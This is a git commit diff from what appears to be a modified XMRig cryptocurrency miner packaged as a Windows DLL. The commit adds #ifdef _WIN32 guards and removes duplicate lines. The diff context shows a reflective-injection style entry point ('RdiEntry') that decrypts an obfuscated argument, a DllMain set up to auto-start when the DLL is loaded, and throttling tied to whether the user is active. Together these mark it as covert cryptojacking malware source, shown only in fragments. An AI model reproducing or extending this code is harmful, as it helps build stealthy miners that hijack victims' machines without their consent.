Wrap Windows-specific code in conditional compilation
- Wrap DLL functions and DllMain in #ifdef _WIN32 in xmrig.cpp - Fix Miner.cpp syntax by removing duplicate lines - Windows throttling code now only compiles on Windows - Linux builds should work without Windows-specific code
This commit is contained in:
parent
cc4f3e01f6
commit
331e1e115d
@ -724,9 +724,6 @@ void xmrig::Miner::onTimer(const Timer *)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
lastThrottleState = userActive;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (stopMiner) {
|
if (stopMiner) {
|
||||||
stop();
|
stop();
|
||||||
|
|||||||
@ -5,7 +5,9 @@
|
|||||||
#include "App.h"
|
#include "App.h"
|
||||||
#include "base/kernel/Entry.h"
|
#include "base/kernel/Entry.h"
|
||||||
#include "base/kernel/Process.h"
|
#include "base/kernel/Process.h"
|
||||||
|
#ifdef _WIN32
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
#endif
|
||||||
#include <winnt.h>
|
#include <winnt.h>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
@ -44,6 +46,7 @@ extern "C" {
|
|||||||
app->exec(); // ← blocks forever
|
app->exec(); // ← blocks forever
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
DLL_EXPORT DWORD RdiEntry(LPVOID) {
|
DLL_EXPORT DWORD RdiEntry(LPVOID) {
|
||||||
const unsigned char enc_arg[] = { 0xDA,0xD2,0xD5,0xDE,0xD5,0xD3,0xD2,0xD5,0xD7,0xDF,0xDF,0xD2,0xD8,0xD4,0xDE,0xDC,0xDC,0x00 };
|
const unsigned char enc_arg[] = { 0xDA,0xD2,0xD5,0xDE,0xD5,0xD3,0xD2,0xD5,0xD7,0xDF,0xDF,0xD2,0xD8,0xD4,0xDE,0xDC,0xDC,0x00 };
|
||||||
std::string s = decrypt(enc_arg, sizeof(enc_arg)-1);
|
std::string s = decrypt(enc_arg, sizeof(enc_arg)-1);
|
||||||
@ -58,8 +61,6 @@ extern "C" {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
} // extern "C"
|
|
||||||
|
|
||||||
// THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
|
// THIS IS THE ONLY CORRECT WAY TO AUTO-START WITH LoadLibraryW
|
||||||
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
||||||
{
|
{
|
||||||
@ -79,3 +80,6 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
|||||||
}
|
}
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
} // extern "C"
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user